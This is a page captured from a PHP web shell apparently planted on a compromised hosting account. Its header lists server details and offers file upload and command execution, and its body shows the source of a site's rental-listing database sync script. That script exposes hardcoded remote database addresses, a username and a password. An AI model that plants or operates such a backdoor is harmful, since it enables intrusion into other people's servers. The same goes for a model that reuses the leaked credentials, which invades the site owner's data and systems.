403Webshell
Server IP : 172.67.178.83  /  Your IP : 216.73.217.141
Web Server : Apache
System : Linux hosting01.arsenalhost.com 4.18.0-425.13.1.lve.el8.x86_64 #1 SMP Mon Feb 27 15:23:24 EST 2023 x86_64
User : corbizre ( 1013)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/corbizre/rentalssearch.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/corbizre/rentalssearch.com/sync_rent_data.php
<?php
include_once "config.php";
require_once "lib/dbmysql.class.php";
error_reporting(E_ALL);

$db = new DbMySQL("88.214.206.169:3307", "rentalssearch", "itc", "qweqwe123");
$db->connect();

$db2 = new DbMySQL("88.214.206.168:3307", "hrpars2", "itc", "qweqwe123");
$db2->connect();


$sql = 'UPDATE realty SET city = SUBSTRING(city, INSTR(city, "\n")) WHERE INSTR(city, "\n")';
$db->query($sql);

$sql = 'UPDATE realty SET city = REPLACE(city,"\n"," ") WHERE INSTR(city, "\n")';
$db->query($sql);

$sql = 'UPDATE realty SET city = REPLACE(city,"                        "," ") WHERE INSTR(city, "                        ")';
$db->query($sql);

$sql = "SELECT count(*) as houses_count FROM houses";
$houses_count = $db2->select_row($sql);


$processing = 1000;

echo $iterations_number = ceil($houses_count['houses_count'] / $processing);
$i=0;
for ($iteration = 0; $iteration < $iterations_number+1; $iteration++) {
    $sql = "SELECT * FROM houses LIMIT ".($iteration * $processing).",".$processing;
    //echo "\n";
    $houses = $db2->select($sql);
    //echo "HOUSES".$iteration."-".count($houses)."\n";

    foreach($houses as $key=>$house){
       $url_path = NULL;
        if($house['address']!=''&&$house['state']!=''&&$house['zip']!=''&&$house['city']!=''){
            $url_path = str_replace(" ","-",preg_replace("|[^[:alnum:]\s]|","",unhtmlspecialchars($house['address'])))."-".str_replace(" ","-",preg_replace("|[^[:alnum:]\s]|","",unhtmlspecialchars($house['city'])))."-".$house['state']."-".$house['zip'];
        }
        $sql = "INSERT INTO realty 
                   (ID, 
					valid, 
					site_index, 
					MLSID, 
					REOID, 
					status, 
					status_type, 
					use_type, 
					image_path, 
					image_url, 
					type, 
					address, 
					country, 
					county, 
					city, 
					state, 
					zip, 
					full_address_md5, 
					url, 
					agent, 
					price, 
					area, 
					area_desc, 
					unit_price, 
					bedrooms, 
					bathrooms, 
					garages, 
					brokerage_firm, 
					brokerage_address, 
					brokerage_city, 
					brokerage_state, 
					brokerage_zip, 
					brokerage_phone, 
					brokerage_email, 
					phone, 
					email, 
					created_date, 
					last_update, 
					additional_info, 
					building_name, 
					submarket_type, 
					sale_terms, 
					MSA, 
					tax_id, 
					zoning, 
					living_area, 
					buildings, 
					tenancy, 
					year, 
					year_renovated, 
					stories, 
					construction, 
					parking_ratio, 
					parking_type, 
					parking_spaces, 
					elevators_passenger, 
					elevators_freight, 
					fire_sprinklers, 
					fire_alarms, 
					head_source, 
					head_type, 
					broadband_internet, 
					source, 
					floors, 
					market, 
					GBA, 
					services, 
					managing_agent, 
					owner, 
                    office_tenants,
                    retail_tenants,
                    floor_sizes
                    )
                VALUES
                    (
					'".mysql_escape_string($house['ID'])."',
					'".(int) mysql_escape_string($house['valid'])."',
					'".mysql_escape_string($house['site_index'])."',
					'".mysql_escape_string($house['MLSID'])."',
					'".mysql_escape_string($house['REOID'])."',
					'".mysql_escape_string($house['status'])."',
					'".mysql_escape_string($house['status_type'])."',
					'".mysql_escape_string($house['use_type'])."',
					'".mysql_escape_string($house['image_path'])."',
					'".mysql_escape_string($house['image_url'])."',
					'".mysql_escape_string($house['type'])."',
					'".mysql_escape_string($house['address'])."',
					'".mysql_escape_string($house['country'])."',
					'".mysql_escape_string($house['county'])."',
					'".mysql_escape_string($house['city'])."',
					'".mysql_escape_string($house['state'])."',
					'".mysql_escape_string($house['zip'])."',
					'".mysql_escape_string($house['full_address_md5'])."',
					'".mysql_escape_string($house['url'])."',
					'".mysql_escape_string($house['agent'])."',
					'".mysql_escape_string($house['price'])."',
					'".mysql_escape_string($house['area'])."',
					'".mysql_escape_string($house['area_desc'])."',
					'".mysql_escape_string($house['unit_price'])."',
					'".mysql_escape_string($house['bedrooms'])."',
					'".mysql_escape_string($house['bathrooms'])."',
					'".mysql_escape_string($house['garages'])."',
					'".mysql_escape_string($house['brokerage_firm'])."',
					'".mysql_escape_string($house['brokerage_address'])."',
					'".mysql_escape_string($house['brokerage_city'])."',
					'".mysql_escape_string($house['brokerage_state'])."',
					'".mysql_escape_string($house['brokerage_zip'])."',
					'".mysql_escape_string($house['brokerage_phone'])."',
					'".mysql_escape_string($house['brokerage_email'])."',
					'".mysql_escape_string($house['phone'])."',
					'".mysql_escape_string($house['email'])."',
					'".mysql_escape_string($house['created_date'])."',
					'".mysql_escape_string($house['last_update'])."',
					'".mysql_escape_string($house['additional_info'])."',
					'".mysql_escape_string($house['building_name'])."',
					'".mysql_escape_string($house['submarket_type'])."',
					'".mysql_escape_string($house['sale_terms'])."',
					'".mysql_escape_string($house['MSA'])."',
					'".mysql_escape_string($house['tax_id'])."',
					'".mysql_escape_string($house['zoning'])."',
					'".mysql_escape_string($house['living_area'])."',
					'".mysql_escape_string($house['buildings'])."',
					'".mysql_escape_string($house['tenancy'])."',
					'".mysql_escape_string($house['year'])."',
					'".mysql_escape_string($house['year_renovated'])."',
					'".mysql_escape_string($house['stories'])."',
					'".mysql_escape_string($house['construction'])."',
					'".mysql_escape_string($house['parking_ratio'])."',
					'".mysql_escape_string($house['parking_type'])."',
					'".mysql_escape_string($house['parking_spaces'])."',
					'".mysql_escape_string($house['elevators_passenger'])."',
					'".mysql_escape_string($house['elevators_freight'])."',
					'".mysql_escape_string($house['fire_sprinklers'])."',
					'".mysql_escape_string($house['fire_alarms'])."',
					'".mysql_escape_string($house['head_source'])."',
					'".mysql_escape_string($house['head_type'])."',
					'".mysql_escape_string($house['broadband_internet'])."',
					'".mysql_escape_string($house['source'])."',
					'".mysql_escape_string($house['floors'])."',
					'".mysql_escape_string($house['market'])."',
					'".mysql_escape_string($house['GBA'])."',
					'".mysql_escape_string($house['services'])."',
					'".mysql_escape_string($house['managing_agent'])."',
					'".mysql_escape_string($house['owner'])."',
					'".mysql_escape_string($house['office_tenants'])."',
                    '".mysql_escape_string($house['retail_tenants'])."',
                    '".mysql_escape_string($house['floor_sizes'])."'
				    ) ON DUPLICATE KEY UPDATE 
                    ID = '".mysql_escape_string($house['ID'])."',
					valid = '".mysql_escape_string($house['valid'])."',
					site_index = '".mysql_escape_string($house['site_index'])."',
					MLSID = '".mysql_escape_string($house['MLSID'])."',
					REOID = '".mysql_escape_string($house['REOID'])."',
					STATUS = '".mysql_escape_string($house['status'])."',
					status_type = '".mysql_escape_string($house['status_type'])."',
					use_type = '".mysql_escape_string($house['use_type'])."',
					image_path = '".mysql_escape_string($house['image_path'])."',
					image_url = '".mysql_escape_string($house['image_url'])."',
					type = '".mysql_escape_string($house['type'])."',
					address = '".mysql_escape_string($house['address'])."',
					country = '".mysql_escape_string($house['country'])."',
					county = '".mysql_escape_string($house['county'])."',
					city = '".mysql_escape_string($house['city'])."',
					state = '".mysql_escape_string($house['state'])."',
					zip = '".mysql_escape_string($house['zip'])."',
					full_address_md5 = '".mysql_escape_string($house['full_address_md5'])."',
					url = '".mysql_escape_string($house['url'])."',
					agent = '".mysql_escape_string($house['agent'])."',
					price = '".mysql_escape_string($house['price'])."',
					area = '".mysql_escape_string($house['area'])."',
					area_desc = '".mysql_escape_string($house['area_desc'])."',
					unit_price = '".mysql_escape_string($house['unit_price'])."',
					bedrooms = '".mysql_escape_string($house['bedrooms'])."',
					bathrooms = '".mysql_escape_string($house['bathrooms'])."',
					garages = '".mysql_escape_string($house['garages'])."',
					brokerage_firm = '".mysql_escape_string($house['brokerage_firm'])."',
					brokerage_address = '".mysql_escape_string($house['brokerage_address'])."',
					brokerage_city = '".mysql_escape_string($house['brokerage_city'])."',
					brokerage_state = '".mysql_escape_string($house['brokerage_state'])."',
					brokerage_zip = '".mysql_escape_string($house['brokerage_zip'])."',
					brokerage_phone = '".mysql_escape_string($house['brokerage_phone'])."',
					brokerage_email = '".mysql_escape_string($house['brokerage_email'])."',
					phone = '".mysql_escape_string($house['phone'])."',
					email = '".mysql_escape_string($house['email'])."',
					created_date = '".mysql_escape_string($house['created_date'])."',
					last_update = '".mysql_escape_string($house['last_update'])."',
					additional_info = '".mysql_escape_string($house['additional_info'])."',
					building_name = '".mysql_escape_string($house['building_name'])."',
					submarket_type = '".mysql_escape_string($house['submarket_type'])."',
					sale_terms = '".mysql_escape_string($house['sale_terms'])."',
					MSA = '".mysql_escape_string($house['MSA'])."',
					tax_id = '".mysql_escape_string($house['tax_id'])."',
					zoning = '".mysql_escape_string($house['zoning'])."',
					living_area = '".mysql_escape_string($house['living_area'])."',
					buildings = '".mysql_escape_string($house['buildings'])."',
					tenancy = '".mysql_escape_string($house['tenancy'])."',
					year = '".mysql_escape_string($house['year'])."',
					year_renovated = '".mysql_escape_string($house['year_renovated'])."',
					stories = '".mysql_escape_string($house['stories'])."',
					construction = '".mysql_escape_string($house['construction'])."',
					parking_ratio = '".mysql_escape_string($house['parking_ratio'])."',
					parking_type = '".mysql_escape_string($house['parking_type'])."',
					parking_spaces = '".mysql_escape_string($house['parking_spaces'])."',
					elevators_passenger = '".mysql_escape_string($house['elevators_passenger'])."',
					elevators_freight = '".mysql_escape_string($house['elevators_freight'])."',
					fire_sprinklers = '".mysql_escape_string($house['fire_sprinklers'])."',
					fire_alarms = '".mysql_escape_string($house['fire_alarms'])."',
					head_source = '".mysql_escape_string($house['head_source'])."',
					head_type = '".mysql_escape_string($house['head_type'])."',
					broadband_internet = '".mysql_escape_string($house['broadband_internet'])."',
					source = '".mysql_escape_string($house['source'])."',
					floors = '".mysql_escape_string($house['floors'])."',
					market = '".mysql_escape_string($house['market'])."',
					GBA = '".mysql_escape_string($house['GBA'])."',
					services = '".mysql_escape_string($house['services'])."',
					managing_agent = '".mysql_escape_string($house['managing_agent'])."',
					owner = '".mysql_escape_string($house['owner'])."',
					office_tenants = '".mysql_escape_string($house['office_tenants'])."',
                    retail_tenants = '".mysql_escape_string($house['retail_tenants'])."',
                    floor_sizes = '".mysql_escape_string($house['floor_sizes'])."'
                    ";

        if($db->query($sql)){
            
        }else{
            echo $sql;
            echo $house['ID']."-".($i++)."\n";
            exit;
        }
        //exit;
        //FIX DATA
        $sql="update realty set city='".mysql_escape_string(urldecode($house['city']))."', address='".mysql_escape_string(urldecode($house['address']))."' WHERE ID='".$house['ID']."' and (url_path='' or url_path is null)";
        $db->query($sql);
        //SET - URL
        if($house['address']!=''&&$house['state']!=''&&$house['zip']!=''&&$house['city']!=''){
            $sql="update realty set url_path='".str_replace(" ","-",preg_replace("|[^[:alnum:]\s]|","",unhtmlspecialchars($house['address'])))."-".str_replace(" ","-",preg_replace("|[^[:alnum:]\s]|","",unhtmlspecialchars($house['city'])))."-".$house['state']."-".$house['zip']."' where ID='".$house['ID']."'";
            if($db->query($sql)){
                
            }
            else{
//                echo "ERROR:1 \n";
//                echo $sql = "SELECT * FROM houses WHERE 
//                    address like '".str_replace(" ","%",str_replace(".","",str_replace("#","",$house['address'])))."%' AND 
//                    city=   '".mysql_escape_string($house['city'])."' AND 
//                    state=  '".mysql_escape_string($house['state'])."' AND
//                    zip=    '".mysql_escape_string($house['zip'])."' 
//                ORDER BY ID ASC";
//              
//                $duplicates = $db2->select($sql);
//                //echo "<pre>";
//                unset($duplicates[count($duplicates)-1]);
//                print_r($duplicates);
//                foreach ($duplicates as $key=>$value){
//                    echo $value['ID']."\n";
//                    $db3->query("delete from houses where ID=".$value['ID']);
//                    $db->query("delete from realty where ID=".$value['ID']);
//                }
//                
            }   
        }
        
        //echo "<br/>";
        
    } 

}
$sql = "UPDATE realty SET url_path=ID WHERE site_index=2 and address!='' and city!='' and state!=''";
$db->query($sql);

$sql = 'UPDATE realty SET city = SUBSTRING(city, INSTR(city, "\n")) WHERE INSTR(city, "\n")';
$db->query($sql);
$sql = 'UPDATE realty SET city = REPLACE(city,"\n"," ") WHERE INSTR(city, "\n")';
$db->query($sql);

$sql = 'UPDATE realty SET url_path = REPLACE(url_path,"\n","") WHERE INSTR(url_path, "\n")';
$db->query($sql);
//$query = "SELECT * FROM spaces";
//$spaces = $db2->select_row($spaces);
//$sql = "SELECT count(*) as houses_count FROM houses";
//$houses_count = $db2->select_row($sql);
//
//$processing = 1000;
//
//echo $iterations_number = ceil($houses_count['houses_count'] / $processing);
//$i=0;
//for ($iteration = 0; $iteration < $iterations_number+1; $iteration++) {
//    $sql = "SELECT * FROM houses LIMIT ".($iteration * $processing).",".$processing;
//

print_r($houses_count);

function unhtmlspecialchars( $string )
{
        $string = str_replace ( '&amp;', '&', $string );
        $string = str_replace ( '&#039;', '\'', $string );
        $string = str_replace ( '&quot;', '\"', $string );
        $string = str_replace ( '&lt;', '<', $string );
        $string = str_replace ( '&gt;', '>', $string );
        $string = str_replace ( '#', '', $string );
       
        return $string;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit